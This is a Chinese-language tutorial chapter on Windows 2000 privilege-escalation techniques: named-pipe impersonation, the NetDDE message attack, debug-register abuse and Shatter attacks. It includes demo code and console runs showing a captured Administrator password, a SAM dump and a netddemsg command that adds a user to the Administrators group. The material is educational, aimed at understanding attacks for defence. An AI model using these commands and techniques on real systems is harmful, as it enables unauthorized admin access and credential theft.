Windows 2000权限提升攻击实例与实战心得
讲到 Exploit 就一定会涉及提升权限。所谓提升权限,就是利用系统漏洞获得更高的 Privilege。比如,用一般用户账号登录 Windows NT 2000,只能做有限的操作——不能加减用户,不能往系统目录写文件;但一旦通过漏洞拿到 Administrator 或 Local System 权
讲到 Exploit 就一定会涉及提升权限。所谓提升权限,就是利用系统漏洞获得更高的 Privilege。比如,用一般用户账号登录 Windows NT/2000,只能做有限的操作——不能加减用户,不能往系统目录写文件;但一旦通过漏洞拿到 Administrator 或 Local System 权限,这些事就都能干了。研究 Exploit 的时间不算长,但看到关于 Windows 系统中提升权限的方法和实例还真不少。刚才去 Google 上用“microsoft”、“Windows”、“privilege”、“elevation”搜了一下,居然返回 3000 多个结果——这还只是公开的部分,江湖里还有很多必杀绝技不轻易示人。要在这儿详细讲清所有 Windows 提权方法,功力远远不够,大概相当于丐帮一袋弟子的水平。所以这一章针对的是丐帮入门弟子,各位要是功力已经超过两麻袋,尽管跳过。选 Exploit 例子时,特意挑了针对 W2K 操作系统、附带源程序的,方便大家在自己机器上试验。这些 Exploit 不一定每个都能成功,但有不少可借鉴之处,能通过它们了解黑客思路,提高反入侵能力。dallas 机器是 W2K Service Pack 1,如果你们的机器运行不同版本的 W2K SP,这些 Exploit 可能需要改动。顺便说一句,第一章已经提到一种在 Unix/Linux 中提权的方法——Exploit 超级用户 Root 所有的、具有 SUID 位的执行程序。Windows 中没有 SUID 的说法,但有一种 RunAs 服务进程可以提供类似 SUID 的功能,而且有可能被 Exploit。
利用 Windows 2000 中的 Named Pipe 来提升权限
Windows 2000 中的 RunAs 服务进程可以让用户甲以用户乙的权限运行程序,类似 Unix/Linux 的 SUID 位。W2K 中的一个 API:CreateProcessWithLogonW 就利用了 RunAs 服务进程。用户甲调用这个 API 时,把用户乙的账号、域、密码提交给操作系统做 Authentication,认证成功后就运行指定程序,且该程序具有用户乙的权限。CreateProcessWithLogonW API 的定义如下:
BOOL CreateProcessWithLogonW(
LPCWSTR , // 用户乙的账号(Account)
LPCWSTR , // 用户乙的域(Domain)
LPCWSTR , // 用户乙的密码(Password)
DWORD , // logon option
LPCWSTR , // executable module name
LPWSTR , // command-line string
DWORD , // creation flags
LPVOID , // new environment block
LPCWSTR , // current directory name
LPSTARTUPINFOW , // startup information
LPPROCESS_INFORMATION // process information
);
那么 CreateProcessWithLogonW 是如何把用户乙的账号信息传给 RunAs 服务进程的呢?Windows 中有很多进程间通信(Interprocess Communication)的方法,最常见的大概就是 Pipe 了。上一章对 IIS 的 Exploit 也用到了 Pipe,不过那是匿名管道(Anonymous Pipe);这里用的是有名管道(Named Pipe)与 RunAs 联络,这个 Named Pipe 就是“\\.\pipe\secondarylogon”。到目前为止,一切都正常。那么问题来了:RunAs 的漏洞在哪里?它怎么被 Exploit?根据 RADIX Team 的解释:当用户甲用 CreateProcessWithLogonW 创建具有用户乙权限的进程时,它不会核实“\\.\pipe\secondarylogon”的 Server 端究竟是连到 RunAs 进程还是连到其他进程。如果 RunAs 服务进程在某一时刻停止运行,黑客进程可以趁机创建一个也叫“\\.\pipe\secondarylogon”的 Named Pipe,然后假装成 RunAs 服务进程在 Pipe 的 Server 端等着接收信息。接着无辜而无知的用户甲调用 CreateProcessWithLogonW,它也不调查 Named Pipe 另一端的进程身份,就把用户乙的账号信息通过伪造的 Named Pipe 传了过去——传呀传,一直传到黑客程序的耳朵里。
RADIX Team 还编写了一个 Exploit 程序 radix1112200101,这个程序把通过 Named Pipe“\\.\pipe\secondarylogon”传来的用户乙账号信息(包括用户名、域名、密码)统统显示出来。限于篇幅,就不转载这个程序了,大家可以到他们的网站去看。不过这里演示一下在 dallas 上如何使用 radix1112200101 来获得 dallas 本地域超级用户 Administrator 的密码。被 Exploit 的程序(因为使用 CreateProcessWithLogonW 而泄密的家伙)叫 radixvictim.cpp,它以超级用户 Administrator 的权限启动一个 NotePad 程序。
<==========================radixvictim.cpp===============================>
// radixvictim.cpp : Defines the entry point for the application.
//
#define _WIN32_WINNT 0x0500
#define UNICODE
#include
#include
#include
#include
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow = SW_SHOW)
{
// TODO: Place code here.
LPCWSTR lpUsername = L"Administrator"; // user's name
LPCWSTR lpDomain = L"dallas"; // user's domain
LPCWSTR lpPassword = L"moda"; // user's password
DWORD dwLogonFlags = LOGON_NETCREDENTIALS_ONLY; // logon option
LPCWSTR lpApplicationName = L"D:\\Winnt\\NotePad.exe";
LPWSTR lpCommandLine = L"NotePad.exe"; // command-line string
DWORD dwCreationFlags = CREATE_NEW_CONSOLE; // creation flags
LPVOID lpEnvironment = NULL; // new environment block
LPCWSTR lpCurrentDirectory = NULL; // current directory name
STARTUPINFO StartupInfo; // startup information
PROCESS_INFORMATION ProcessInfo; // process information
BOOL ret;
ZeroMemory(&StartupInfo, sizeof(StartupInfo));
StartupInfo.cb = sizeof(StartupInfo);
ZeroMemory(&ProcessInfo, sizeof(ProcessInfo));
ret = CreateProcessWithLogonW(
lpUsername,
lpDomain,
lpPassword,
dwLogonFlags,
lpApplicationName,
lpCommandLine,
dwCreationFlags,
lpEnvironment,
lpCurrentDirectory,
&StartupInfo,
&ProcessInfo
);
if (! ret )
ExitProcess (GetLastError()) ;
return 0;
}
<================================================================>
在伪造 Named Pipe 之前,必须关闭 RunAs 的“\\.\pipe\secondarylogon”,否则运行 radix1112200101 会得到 Permission Denied 之类的错误。先以超级用户 Administrator 登录 dallas,然后从 Administrative Tools -> Services 中终止 RunAs 服务进程(一般情况下只有超级用户才能终止 RunAs)。这样 RunAs 拥有的“\\.\pipe\secondarylogon”就关闭了。再以一般用户账号 moda 登录 dallas,接着运行 radix1112200101 伪造一个新的 Named Pipe“\\.\pipe\secondarylogon”。
D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
怎么确定“\\.\pipe\secondarylogon”被成功创建了呢?可以使用 pipelist 程序,这是从 sysinternals 网站下载的宝贝之一,能列出系统中所有的 Named Pipe:
D:\MyJob\tool\pipelist\RELEASE>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 50 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
Winsock2\CatalogChangeListener-194-0 1 -1
net\NtControlPipe3 1 1
spoolss 2 -1
.......
net\NtControlPipe21 1 1
tapsrv 2 -1
ROUTER 2 -1
WMIEP_2ac 2 -1
WMIEP_154 2 -1
SecondaryLogon 1 10
D:\MyJob\tool\pipelist\RELEASE>
看到最后一个 Named Pipe 就是 radix1112200101 刚刚伪造的 Secondarylogon。现在运行 radixvictim。对于这个程序,用户甲就是无辜而无知的“moda”,用户乙就是超级用户 Administrator。请注意 Exploit 程序 radix1112200101 的输出:
D:\MyJob\securitylab\radix\Debug>radix1112200101
Created pipe and waiting for clients...
Read 4 bytes. (ASCII Dump)>?
Read 318 bytes. (ASCII Dump)□? ? 8X j □ □? ? ? - -? A d m i ni s t r a t o r? d a l l as ? m o d a* D: \ W i n n t \N o t e P a d .e x e ? N ot e P a d . e xe lD H lW i n St a 0 \ D e f au l t _
D:\MyJob\securitylab\radix\Debug>
可以看到,超级用户 Administrator 的信息(包括密码)全部都被 radix1112200101 接收到了。得到 Administrator 的账号信息后,再提升权限就易如反掌了!这个 Exploit 的关键在于:第一,Named Pipe 的名字是广为人知的,黑客的 Named Pipe 也可以贴上同样的名字“\\.\pipe\secondarylogon”去冒充;第二,CreateProcessWithLogonW 在使用 Named Pipe 之前并没有核实 Named Pipe 的 Server 端进程,它不管 Server 端是连到 RunAs 进程还是其他进程。类似的问题在 Windows 中广泛存在,再看下面的例子。
这个例子来自网站 http://www.dogmile.com,作者为 maceo。根据 maceo 的研究,Windows 2000 广泛使用了 Named Pipe 来控制(或管理)服务进程,包括 Clipbook 服务进程、Telnetd 服务进程等等,而且这些 Named Pipe 的名字是可以猜到的。如果黑客抢先用猜到的名字创建 Named Pipe,服务进程启动时会直接连接到黑客的 Named Pipe 上,于是黑客程序就可以通过 ImpersonateNamedPipeClient() 取得服务进程的权限(缺省设置为 Local System 权限)。那么,黑客是怎样猜到这些 Named Pipe 名字的呢?很简单,从 Registry 中查询,在下面的地址:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\ServiceCurrent
如果 ServiceCurrent 的双字值(DWORD Value)是 X,那么服务进程所用到的 Named Pipe 的名字就是“\\.\pipe\net\NtControlPipe(X+1)”,这也就是黑客要伪造的 Named Pipe 的名字。maceo 给出了几个 Exploit 程序,下面在 Dallas 上演示其中的一个——PipeUp。这个 Exploit 程序首先从 Registry 中取得下一个服务进程要使用的 Named Pipe 名字,然后抢先创建这个 Named Pipe;紧接着它启动服务进程 ClipBook,由于 ClipBook 启动后会主动连接这个伪造的 Named Pipe,于是 PipeUp 就通过函数 ImpersonateNamedPipeClient 获取了 Local System 的账号权限(因为 ClipBook 一般以 Local System 账号运行)。这样进程 PipeUp 就有足够的权限把 Local System 在 Security Account Manager(SAM)中的信息读出来。可以从网站 http://www.dogmile.com 下载这个 Exploit 的源程序,这里限于篇幅就不转载了(画外音:其实是限于版权)。先以 Administrator 的账号登录 dallas,把 ClipBook 服务进程停止。再以一般用户 moda 登录,运行 Exploit 程序 PipeUp,下面是运行及 Exploit 的结果:
D:\MyJob\securitylab\PipeUp\Debug>pipeup
The ClipBook service is not started.
More help is a vailable by typing NET HELPMSG 3521.
Impersonating: SYSTEM
Dumping SAM for RID 500 ...
F:0x020001000000000010f3e3f89b33c2010000000000000000f0a09fa11061c101ffffffffffffff7fb0c25115f430c201f401000001020000100200000000000000002a010100000000000d000a000000
V:0x00000000a800000002000100a80000001a00000000000000c40000000000000000000000c40000006c000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000000000000000000003001000008000000010000003801000014000000000000004c0100001400000000000000600100000400000000000000640100000400000000000000010014808800000098000000140000003000000002001c000100000002c01400440005010101000000000001000000000200580003000000000014005b03020001010000000000010000000000001800ff070f00010200000000000520000000200200000000240044000200010500000000000515000000dde8e41c32621f2a8aa7323ff40100000102000000000005200000002002000001020000000000052000000020020000410064006d0069006e006900730074007200610074006f00720000004200750069006c0074002d0069006e0020006100630063006f0075006e007400200066006f0072002000610064006d0069006e006900730074006500720069006e0067002000740068006500200063006f006d00700075007400650072002f0064006f006d00610069006e000102000007000000010001001913f29278bf71eaff44492fb2f9ed05010001002a730d35666e44ffa4f37b29011d882f0100010001000100
D:\MyJob\securitylab\PipeUp\Debug>
看了上面两个例子有什么想法?肯定有人会觉得这些 Exploit 有“作弊”的嫌疑:一方面,在 radix1112200101(或 PipeUp)运行之前,RunAs(或 ClipBook)服务进程都必须先终止运行,这样黑客进程才有可能伪造 Named Pipe,才有机会窃取 Administrator(或 Local System)的账号信息;而另一方面,黑客必须先取得至少 Administrator 的权限才能终止 RunAs(或 ClipBook)进程。这两个方面看起来是互为前提条件的,是个无解的“Deadlock”。实际上,在 SecurityFocus 网站上看到 Microsoft 针对 Exploit 程序 radix1112200101 的回复,它指出这个 Exploit 是两难的,现实中不太可能发生。要实现这个 Exploit 确实有些难度,但这并不等于不会发生!假如某个服务进程有 Bugs,像缓冲区溢出、Signal 不当 reentrant 等等,那么在运行中这个服务进程就有可能被黑客故意整垮掉(Crash),然后黑客就可以伪造它的 Named Pipe,再利用上面的 Exploit 程序提升其权限。而且有时候并不需要先终止服务进程,在 Microsoft 的 Security Bulletins 网站上找到一个例子——编号为 MS01-031 的一篇文章“Predictable Name Pipes Could Enable Privilege Elevation Via Telnet”。中文大意是说:当你通过 Telnet 远程连接到 Windows 2000 系统中的 Telnetd 服务进程时,Telnetd 会创建一个新的 Named Pipe,同时运行这个 Named Pipe 携带的初始化程序。由于这个 Named Pipe 的名字是可以猜到的(Predictable),所以黑客可以抢先用猜到的名字创建这个 Named Pipe,同时让这个 Named Pipe 携带黑客码作为初始化程序;当 Telnetd 服务进程发现这个 Named Pipe 已经存在时,它既不重新创建一个新的 Named Pipe,也不核实一下这个 Named Pipe 的创建者是否可信(Trustable),相反,它直接使用这个 Named Pipe,并且把其携带的黑客码当成初始化程序运行。由于在缺省设置的情况下,Telnetd 服务进程具有 Local System 的权限,所以黑客码也将以这个最高的权限横冲直撞。
Microsoft 的文章并没有告诉我们这个可以猜得到的 Named Pipe 名字是什么——这是可以理解的,毕竟谁也不会开门揖盗。不过我在 dallas 上做了个试验:分别连接两个 Telnet Session 到 Dallas 上,然后用 Pipelist 程序观察在 Telnet 后 Named Pipe 的变化情况:
D:\MyJob\tool\pipelist\Debug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 5 -1
ntsvcs 52 -1
scerpc 2 -1
net\NtControlPipe1 1 1
.......
tapsrv 2 -1
ROUTER 2 -1
WMIEP_644 2 -1
WMIEP_2c8 2 -1
net\NtControlPipe28 1 1
telnetd\000001fc.00000000 1 1
telnetd\000001fc.00000001 1 1
telnetd\000001fc.00000002 1 1
telnetd\000001fc.00000003 1 1
上面用黑体字标出来的 Named Pipe:net\NtControlPipe28 属于 Telnetd 服务进程,而 telnetd\000001fc.00000000 与 telnetd\000001fc.00000001 属于第一个 Telnet Session,telnetd\000001fc.00000002 与 telnetd\000001fc.00000003 属于第二个 Telnet Session。如果这时有第三个用户 Telnet 进来,Telnetd 要用到的 Named Pipe 名字将会是 telnetd\000001fc.00000004 与 telnetd\000001fc.00000005,可以赌 100 块钱!看到,这个例子并不需要终止任何服务进程,理论上只需要具有一般用户账号就可以提升权限到 Local System 级别:先以一般用户账号伪造 Named Pipe 并让它附带黑客码作为初始化程序,然后以同一账号远程连接到像 dallas 这样的机器上,Telnetd 服务进程会主动运行你附带在 Named Pipe 上的黑客码,而且你的黑客码是以 Local System 权限运行。
利用 Windows 2000 中的 Dynamic Data Exchange 来提升权限
在 www.atstake.com 网站的 Security Advisory 栏目(2001 年 2 月版)看到这篇文章:“NetDDE Message Vulnerability”,作者是 DilDog。搞这一行有些日子的人大概都看过他的另一篇非常有名、非常经典的文章:“The Tao of Windows Buffer Overflow”。那篇文章被引用的次数很多,如果拿引用率来评职称,肯定是非常的 Solid——就是很硬的意思!在那篇文章中,他详细介绍了在 Windows NT 系统中如何发现 NetMeeting 的缓冲区溢出,如何一步一步编写黑客码去 Exploit 这个缺口(Vulnerability)。实际上,在前面两章的 Exploit 试验中,用到的罗马大道“Jmp esp”,以及函数指令表都直接或间接地借鉴了他的思路。有兴趣的朋友可以到下面的网页去拜读一下这篇大作:http://www.cultdeadcow.com/cDc_files/cDc-351/index.html
好,回到正题:如何利用 Dynamic Data Exchange 来提升权限?前面提到过,Windows 有多种 Interprocess Communication 的方法,Named Pipe 是常见的一种,而 Dynamic Data Exchange(DDE)则是另一种常见的方法,它通过共享内存实现不同进程间的动态数据交换。这些动态交换的数据叫 DDE Share,它们由 DDE Server 创建并由 Network DDE DSDM(DDE share database manager)服务进程管理。可以在 Dos 窗口下运行命令 DDESHARE 来显示计算机上的 DDE Share,常见的 DDE Share 有 Chat$、CLPBK$、Hearts$。当管理 DDE Share 的 Network DDE DSDM 服务进程运行时,Winlogon 会在当前登录用户的 Desktop 产生一个隐藏式的 Window,这个隐藏式的 Window 名字为“NetDDE Agent”,是一个“NDDEAgnt”类的 window class,它的功能在于协助 DDE Server 程序及 DDE Client 程序之间的数据交换。由于它由 Winlogon 创建,这个 Window 的进程就以 Local System 的权限运行在登录用户的 Desktop 上,只不过用户看不到它而已。“NetDDE Agent”还有另外一个辅助功能:当 DDE Client 试图连接到一个 Trusted 的 DDE Share 时,如果“NetDDE Agent”发现创建这个 DDE Share 的 DDE Server 尚未运行,它会主动启动这个 Server。记住“NetDDE Agent”进程是具有 Local System 权限的,所以它启动 Server 没有一点问题。
根据 DilDog 的研究,这个隐藏式的“NetDDE Agent”就是一个缺口(Vulnerability)!还记得 Window 操作系统中的函数 SendMessage() 吗?登录用户可以利用这个函数向 Desktop 上的任何 Window 发送 Message,即使这个 Window 不属于当前登录用户。所以黑客在以一般用户的身份登录后,可以用 SendMessage() 发送一个 WM_COPYDATA message 给“NetDDE Agent”,这个 Message 里面同时携带着一个精心炮制的数据块作为调用参数。这个数据块包含以下内容:1. 一个 Trusted DDE Share 的名字,比如说 Chat$;2. 一个用于启动 DDE Server 的命令,如果“NetDDE Agent”发现创建 Chat$ 的 DDE Server 尚未运行,就根据这个命令来启动 DDE Server。但是黑客可以任选一个命令来伪造,比如说“Net Localgroup Administrators /Add 阿猫”——这里的阿猫已经是合法的一般用户了;3. 一些固定不变的字节。DilDog 认为这些字节应该是随机产生的,而不应该固定不变。个人理解这些字节是用于向“NetDDE Agent”或 Network DDE DSDM 证明 WM_COPYDATA message 是由合法程序(而不是黑客程序)发出的,所以它们应该随机变化而不让黑客轻易得到。当“NDDEAgnt”接收到 WM_COPYDATA message 时,它核对后会发现第三部分的字节正确无误,而且 Trusted DDE Share 确实存在,于是它就执行黑客命令,由于“NDDEAgnt”具有 Local System 权限,它可以顺利地让阿猫同志光荣地加入本地 Administrator Group。
DilDog 在文章中还附带了一个 Exploit 程序 netddemsg,接下来在 dallas 上演示一下自己是如何追随阿猫加入本地 Administrators Group 的:
/*先以用户账号“moda”登录 dallas。看看本地 administrators Group 有哪些成员:*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators ha ve complete and unrestricted access to the
Members
-----------------------------------------------------------------------------
a_mao
Administrator
The command completed successfully.
/*本地 administrators Group 目前只有两个成员,Administrator 和 a_mao。试着把“moda”加入到本地 administrators Group 中:*/
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators /add moda
System error 5 has occurred.
Access is denied.
/*权限显然不够,所以得到 error 5。运行 DilDog 的 Exploit 程序,同时附带上黑客命令:*/
D:\MyJob\securitylab\netddemsg\Debug>netddemsg -s Chat$ net localgroup administrators /add moda
/*程序运行结束,看看“moda”是否加入本地 administrators Group:*/
D:\MyJob\securitylab\netddemsg\Debug>
D:\MyJob\securitylab\netddemsg\Debug>net localgroup administrators
Alias name administrators
Comment Administrators ha ve complete and unrestricted access to the
Members
-----------------------------------------------------------------------------
a_mao
Administrator
moda
The command completed successfully.
D:\MyJob\securitylab\netddemsg\Debug>
/*也光荣地加入了本地 administrators Group*/
利用 Windows 2000/Intel 中的 Debug Register 来提升权限
在 Georgi Guninski 的个人网站(http://www.guninski.com)上看到这篇文章:“Elevation of Privileges with debug registers on Win2k”,介绍如何利用 Intel X86 中的 Debug Register 来获取 Local Administrator 的权限。运气不太好,用文章中的 Exploit 程序 Pipe3 试了几次也不能成功,不过觉得利用 Debug Register 来攻击是个新的思路,所以在这里顺便介绍一下。Intel X86 的 Debug Register(DR0-DR7 寄存器)是所有进程共用的。也就是说,在一般用户进程中下一个绊子(设置一个断点),没准会把某个系统进程或者服务进程(Service)绊一跤;这一跤要是把系统/服务进程摔垮了,导致它停止执行,就可以伪造该进程的 Named Pipe;然后当有其它进程企图通过 Named Pipe 与垮掉的系统/服务进程联络时,黑客就可以利用函数 ImpersonateNamedPipeClient 来窃取其它进程的权限——这很可能就是 Local System 的权限。
文章中的 Exploit 程序 Pipe3(请从网站 http://www.guninski.com 下载)就是按照这个思路设计的:它要整垮的进程是 lsass,所以必须先找几个 lsass 进程将要运行的指令的地址,以便在这些地址设置断点(也就是搞清楚 lsass 要走哪一条路,才好在那条路上设绊脚石);然后 Pipe3 以一般用户的权限运行程序 Calc(计算器),并在其中设置断点,因为这断点的地址是在 lsass 运行的途径上,所以它们并不会影响 Calc 进程;过不了多久 lsass 就会有报告“SingleStep Exception”并让你选择是中断 lsass 运行还是 Debug lsass 进程;选择中断 lsass 以便关闭 lsass 拥有的 Named Pipe——\\.\pipe\lsass,这样 Pipe3 就可以伪造一个同名的 Named Pipe;…… 这以后的几步就不用重复了,大家都应该清楚。下面说说 Exploit 的情况:
先用 WinDbg 找到 lsass 可能要运行的指令地址,lsass 有多个 Thread,从不同 Thread 的 ESP 寄存器中找了几个地址。然后以一般用户名“moda”登录 dallas。最后让 Pipe3 在这些地址分别设断点,总有那么一个地址会成功地中断 lsass 进程,并且产生一个 Warning 对话框报告“SingleStep Exception”。当选择中断进程后,lsass 退出执行,Pipe3 报告“LSA died!”:
D:\MyJob\securitylab\pipe3\Debug>pipe3
Fun with debug registers. Written by Georgi Guninski
vvdr started: lsass pid=240 breakp=5ffebc
LSA died!
Stop writing to pipe
start \\.\pipe\lsass
Failed to create named pipe:\\.\pipe\lsass
由于 lsass 是重要的系统进程,它的终止运行将使系统在一分钟内自动 Shutdown。另外注意到,\\.\pipe\lsass 并没有成功地创建。为什么呢?抢在系统 Shutdown 之前运行了一下 Pipelist:
D:\MyJob\securitylab\pipe3\Debug>pipelist
PipeList v1.01
by Mark Russinovich
http://www.sysinternals.com
Pipe Name Instances Max Instances
--------- --------- -------------
InitShutdown 2 -1
lsass 2 -1
ntsvcs 49 -1
scerpc 2 -1
net\NtControlPipe1 1 1
DhcpClient 1 -1
net\NtControlPipe2 1 1
.......
很奇怪,虽然 lsass 进程终止运行,但是它的 Named Pipe 还在——这大概是 Pipe3 没能创建“\\.\pipe\lsass”的原因。由于时间的关系,没能深入研究这个问题,不过哪位朋友要是用 Pipe3 成功地实现 Exploit,不要忘记告诉我一声!不过话又说回来,这种利用 Debug Register 来终止 lsass 进程的方法——即使成功的话,也太暴露了:整个系统居然会 Shutdown!任何一个傻瓜管理员都会发现有黑客入侵。这大概是黑客中的业余水平。好一点的黑客要做到“轻轻的我走了,正如我轻轻的来”,要像伟大的诗人兼武林高手徐自摩那样施展一把轻功,让傻瓜管理员根本发现不了,当然耳朵厉害的管理员还是会发现的——“谁?有黑客!抓黑客!”。水平达到最高境界的黑客应该是能够羚羊挂角、踏雪无痕的,这就不是我能评论的了。
利用 Win32 API 的设计缺陷提升权限
几个星期以前在计算机安全网站上看到两篇新发表的文章:《Shatter Attacks – How to break Windows》和《More Shatter Attacks》,作者是 Chris Paget(网名 Foon)。建议大家去下面的网址读一下他的原著:
http://security.tombom.co.uk/shatter.html
http://security.tombom.co.uk/moreshatter.html
这两篇文章详细介绍了如何利用 Win32 API 的一个设计缺陷来提升普通用户的权限。前面也提到,普通用户的进程可以向他/她的 Desktop 上任何 Window 发送 Message,让目标 Window 执行用户指定的操作,比如说 COPY/PASTE(拷贝/粘贴)、定时运算(Timer)等等。这个 Window 可能属于用户自己,也可能属于 Local System(像“NetDDE Agent”)——这样问题就来了:
- 普通用户(如你我他她它——比尔盖茨说狗也可能上网的,所以算上“它”)在他的 Desktop 上先找到一个属于 Local System 的 Window,给这个 Window 起一个名字叫 WINDOWXYZ,这个 WINDOWXYZ 上最好有能接收粘贴内容的 Control(比如说 EDIT);
- 用户可以把黑客码用“WM_PASTE”(Message 之一)粘贴到 WINDOWXYZ 的 Control 里;
- 用户找到被粘贴的黑客码在 WINDOWXYZ 进程中的地址;
- 用户然后发送“WM_TIMER”(Message 之二)给 WINDOWXYZ,同时把黑客码地址作为参数一并传给 WINDOWXYZ,WINDOWXYZ 于是执行定时运算,开始运行黑客码。这些黑客码是以 Local System 的权限运行的,所以普通用户的权限被成功提升。
实际上,根据 FOON 的文章,即使普通用户在其 Desktop 上找不到属于 Local System 的 Window,他也有办法提升权限:他可以利用 Tool Help 函数得到属于 Local System 的进程及其 Thread,只要其中任何一个 Thread 能处理 Window 的 Message,用户就可以用函数 PostThreadMessage() 向这个属于 Local System 的 Thread 发送 Message,然后就……如此这般……地提升权限。不过没有时间亲手试验过这种方法。
这两篇文章引起了很大的反响,其中最引人注意的是 Microsoft 的答复。Microsoft 说这种方法老早就有人提出来了,Nothing New!又说根本就不应该在普通用户的 Desktop 上创建属于 Local System 的 Window,编程序的人应该避免这样的设计。但实际上隐藏式的窗口“NetDDE Agent”就出自于 Microsoft 的设计,它属于 Local System 但是却运行在登录用户的 Desktop 上,看来 Microsoft 是知法犯法啊!这个缺陷就像不安全的函数 strcpy 一样,C 语言在实现 strcpy 函数时有漏洞(函数返回地址、函数堆栈栈底地址等系统管理信息与缓冲区分配在一块,缓冲区的溢出就会覆盖系统管理信息),于是大家寄希望于程序员能够避免使用函数 strcpy。现在 Microsoft 也承认在普通用户的 Desktop 上创建一个 Window 是危险的,所以它也寄希望于大家编程时避免使用这样的设计。
下面专门编写了一个服务进程“SimpleService”来演示一下 Microsoft 的这个设计缺陷。SimpleService 以 Local System 的权限运行,它打开一个 Named Pipe 然后等待 Named Pipe Client 与它联络;普通用户接着登录计算机并运行程序“Client”,“Client”是一个 Named Pipe Client;它向 SimpleService 的 Named Pipe 随便写一些字节,于是 SimpleService 就在登录用户的 Desktop 上产生一个对话窗口(Dialog Box)。普通用户最后利用 FOON 的攻击程序 Shatter 攻击这个对话窗口来获得“Local System”的权限。因为 SimpleService 程序太长,所以只节选了关键的部分让大家参考:
<=======================SimpleService==========================>
#define SZAPPNAME _T("Simple")
#define SZSERVICENAME _T("SimpleService")
#define SZSERVICEDISPLAYNAME _T("Simple Service")
#define SZDEPENDENCIES _T("")
typedef struct DLGPARAM
{
UINT numOfHit;
TCHAR *msg;
} DlgParam;
// internal function prototypes
static BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam);
// SimpleService.cpp : Defines the entry point for the application.
//
HINSTANCE hAppInstance;
DlgParam m_dlgParam;
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
......
}
void WINAPI service_main()
{
......
}
VOID WINAPI service_ctrl(DWORD dwCtrlCode)
{
......
}
BOOL WINAPI ControlHandler ( DWORD dwCtrlType )
{
......
}
HANDLE hServerStopEvent = NULL;
VOID ServiceStart ()
{
......
hPipe = CreateNamedPipe(
lpszPipeName , // name of pipe
FILE_FLAG_OVERLAPPED | PIPE_ACCESS_DUPLEX, // pipe open mode
PIPE_TYPE_MESSAGE | PIPE_READMODE_MESSAGE | PIPE_WAIT, // pipe IO type
1, // number of instances
0, // size of outbuf (0 == allocate as necessary)
0, // size of inbuf
1000, // default time-out value
&sa); // security attributes
......
while ( 1 )
{
......
ConnectNamedPipe(hPipe, &os);
......
bRet = ReadFile(hPipe, // file to read from
szIn, // address of input buffer
sizeof(szIn), // number of bytes to read
&cbRead, // number of bytes read
&os); // overlapped stuff, not needed
......
_stprintf(szOut, _T("Please check the Dialog Box"));
_stprintf(szOut1, _T("Eacho Back! [%s]"), szIn);
......
bRet = WriteFile(hPipe, // file to write to
szOut, // address of output buffer
sizeof(szOut), // number of bytes to write
&cbWritten, // number of bytes written
&os); // overlapped stuff, not needed
......
DisconnectNamedPipe(hPipe);
m_dlgParam.numOfHit++;
m_dlgParam.msg = szOut1;
/*在登录用户的Desktop上创建一个窗口*/
int result = DialogBoxParam(hAppInstance,
MAKEINTRESOURCE(IDD_SVCMSG), NULL,
(DLGPROC) DialogProc,
(LPARAM) &m_dlgParam);
}
cleanup:
......
}
VOID ServiceStop()
{
if ( hServerStopEvent )
SetEvent(hServerStopEvent);
}
#define SIZEOFBUF 40
/*Window的Message Handler*/
BOOL CALLBACK DialogProc(HWND hwnd, UINT uMsg, WPARAM wParam, LPARAM lParam)
{
DlgParam* l_pDlgParam = (DlgParam*) lParam;
CHAR tempBuf[SIZEOFBUF];
switch (uMsg)
{
case WM_INITDIALOG:
{
HWND hNumVisit = GetDlgItem(hwnd, IDC_NUMHIT);
/*限定Edit Control的尺寸(Size)为3*/
SendMessage( hNumVisit, EM_LIMITTEXT, (WPARAM) 3, (LPARAM)0);
_itoa(l_pDlgParam->numOfHit, tempBuf,10);
SendMessage(hNumVisit, WM_SETTEXT, (WPARAM) 0,(LPARAM)tempBuf);
HWND hMsg = GetDlgItem(hwnd, IDC_MSG);
/*限定Edit Control的尺寸(Size)为40*/
SendMessage( hMsg, EM_LIMITTEXT, (WPARAM) SIZEOFBUF, (LPARAM)0);
SendMessage( hMsg, WM_SETTEXT, (WPARAM) 0, (LPARAM) l_pDlgParam->msg );
SetForegroundWindow(hwnd);
return FALSE;
}
case WM_COMMAND:
{
switch (LOWORD(wParam))
{
case IDC_OK:
EndDialog(hwnd, IDC_OK);
return FALSE;
default:
return FALSE;
}
}
}
return FALSE;
}
<==============================================================>
下面是程序 Client.c,非常简单,它的功能仅仅是向“\\.\pipe\simple”发送几个字节:
<==========================Client==============================>
// client.cpp : Defines the entry point for the console application.
//
#include
#include
#include
#include
int main(int argc, char* argv[])
{
char inbuf[80];
char outbuf[80];
DWORD bytesRead;
BOOL ret;
LPSTR lpszPipeName = "\\\\.\\pipe\\simple";
LPSTR lpszString = "World";
strcpy( outbuf, lpszString );
ret = CallNamedPipeA(
lpszPipeName,
outbuf, sizeof(outbuf),
inbuf, sizeof(inbuf),
&bytesRead,
NMPWAIT_WAIT_FOREVER);
if (!ret) {
printf("client: CallNamedPipe failed for %d\n", GetLastError());
exit(1);
}
printf("client: received: %s\n", inbuf);
return 0;
}
<==============================================================>
